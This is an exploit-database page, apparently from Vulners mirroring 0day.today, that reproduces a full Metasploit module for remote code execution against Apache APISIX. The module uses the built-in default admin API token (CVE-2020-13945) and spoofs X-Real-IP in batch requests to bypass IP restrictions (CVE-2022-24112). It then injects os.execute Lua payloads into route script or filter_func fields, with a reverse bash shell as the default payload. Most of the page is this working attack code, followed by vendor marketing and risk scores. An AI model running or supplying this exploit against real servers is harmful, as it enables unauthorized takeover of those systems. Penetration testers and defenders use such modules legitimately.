Lucene search
K

Apache APISIX Remote Code Execution Exploit

🗓️ 07 Mar 2022 00:00:00Reported by YuanSheng WangType 
zdt
 zdt
🔗 0day.today👁 897 Views

Apache APISIX Admin API default access token RC

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'APISIX Admin API default access token RCE',
        'Description' => %q{
          Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access
          all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x
          version. This module also leverages another vulnerability to bypass the IP restriction plugin.
        },
        'Author' => [
          'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
          'YuanSheng Wang <membphis[at]gmail.com>' # discovered
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2020-13945'],
          ['CVE', '2022-24112'],
          ['URL', 'https://github.com/apache/apisix/pull/2244'],
          ['URL', 'https://seclists.org/oss-sec/2020/q4/187'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3']
        ],
        'DisclosureDate' => '2020-12-07',
        'Arch' => ARCH_CMD,
        'Platform' => %w[unix],
        'Targets' => [
          [
            'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']),
      OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']),
      OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1'])
    ])
  end

  def check
    print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
    # batch request is the preferred method because it bypass the ip-restriction plugin
    res = nil
    if batch_request_enabled?

      pipeline = [
        {
          method: 'GET',
          path: "#{target_uri.path}/admin/routes"
        }
      ]
      res = batch_request(batch_body(pipeline))
      vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200

      pipeline = [
        {
          method: 'GET',
          path: "#{target_uri.path}/admin/routes/index"
        }
      ]
      res = batch_request(batch_body(pipeline))

    else
      vprint_error('The batch-requests plugin is not enabled')

      vprint_good('There is direct access to the routes using the provided token') if direct_access?

      res = apisix_request({
        'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
        'method' => 'GET'
      })

    end
    unless res && res.headers.key?('Server')
      return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
    end

    res.headers['Server'].match(%r{(.*)/([\d|.]+)$})

    server = Regexp.last_match(1) || nil
    version = Rex::Version.new(Regexp.last_match(2)) || nil

    if server && server.match(/APISIX/)
      vprint_status("Found an #{server} #{version} http server header")
      return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
    end
    return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
  end

  def exploit
    # batch request is the preferred method because it bypass the ip-restriction plugin
    if batch_request_enabled?
      @payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}"
      filter_func_exec
      # trigger the payload
      apisix_request({
        'uri' => normalize_uri(@payload_uri),
        'method' => 'GET'
      })
    else
      add_route
    end
    handler
  end

  def cleanup
    return unless @payload_uri

    data = {
      'uri' => @payload_uri
    }
    pipeline = [
      {
        'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
        'method' => 'DELETE',
        'body' => JSON.dump(data)
      }
    ]
    vprint_status("Deleting route #{@payload_uri}")
    # remove the route
    res = batch_request(batch_body(pipeline))
    vprint_error('Unable to delete the route') unless res.code == 200
  end

  def apisix_request(params = {})
    params.merge!({
      'ctype' => 'application/json',
      'headers' => {
        'X-API-KEY' => datastore['API_KEY'],
        'Accept' => '*/*',
        'Accept-Encoding' => 'gzip, deflate'
      }
    })

    send_request_cgi(params)
  end

  # Using batch request to bypass ip-restriction policies (CVE-2022-24112)
  def batch_request(data = nil)
    params = {
      'uri' => normalize_uri(target_uri.path, '/batch-requests'),
      'method' => 'POST'
    }
    params.merge!({ 'data' => data }) if data

    apisix_request(params)
  end

  def batch_body(pipeline = [])
    headers = {
      'X-Real-IP': datastore['ALLOWED_IP'].to_s,
      'X-API-KEY' => datastore['API_KEY'].to_s,
      'Content-Type' => 'application/json'
    }

    {
      'headers' => headers,
      'timeout' => 1500,
      'pipeline' => pipeline
    }.to_json
  end

  def base_data
    {
      'uri' => Rex::Text.rand_text_alpha_lower(6),
      'upstream' => {
        'type' => 'roundrobin',
        'nodes' => { Faker::Internet.domain_name.to_s => 1 }
      }
    }
  end

  def add_route
    # This method use the script parameter to execute the payload
    stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })
    # binding.pry
    data = base_data.merge({
      'script' => stub
    })
    uri = normalize_uri(target_uri.path, '/admin/routes')
    if batch_request_enabled?
      pipeline = [
        {
          'method' => 'POST',
          'path' => uri,
          'body' => data
        }
      ]
      batch_request(batch_body(pipeline))
    else
      params = {
        'method' => 'POST',
        'uri' => uri,
        'data' => JSON.dump(data)
      }
      apisix_request(params)
    end
  end

  def filter_func_exec
    # This method use the filter_func parameter to execute the payload
    stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })

    data = base_data.merge({
      'uri' => @payload_uri,
      'name' => Rex::Text.rand_text_alpha_lower(6),
      'filter_func' => stub
    })
    if batch_request_enabled?
      pipeline = [
        {
          'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
          'method' => 'PUT',
          'body' => JSON.dump(data)
        }
      ]
      # add the route
      res = batch_request(batch_body(pipeline))
      vprint_error('Unable to create route') unless res.code == 200
    else
      params = {
        'method' => 'PUT',
        'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
        'data' => JSON.dump(data)
      }
      apisix_request(params)
    end
  end

  def direct_access?
    res = apisix_request({
      'uri' => normalize_uri(target_uri.path, '/admin/routes'),
      'method' => 'GET'
    })

    return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/)

    true
  end

  def batch_request_enabled?
    res = apisix_request({
      'uri' => normalize_uri(target_uri.path, '/batch-requests'),
      'method' => 'POST'
    })

    return false if res.code == 404

    true
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Mar 2022 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.8
EPSS0.94439
897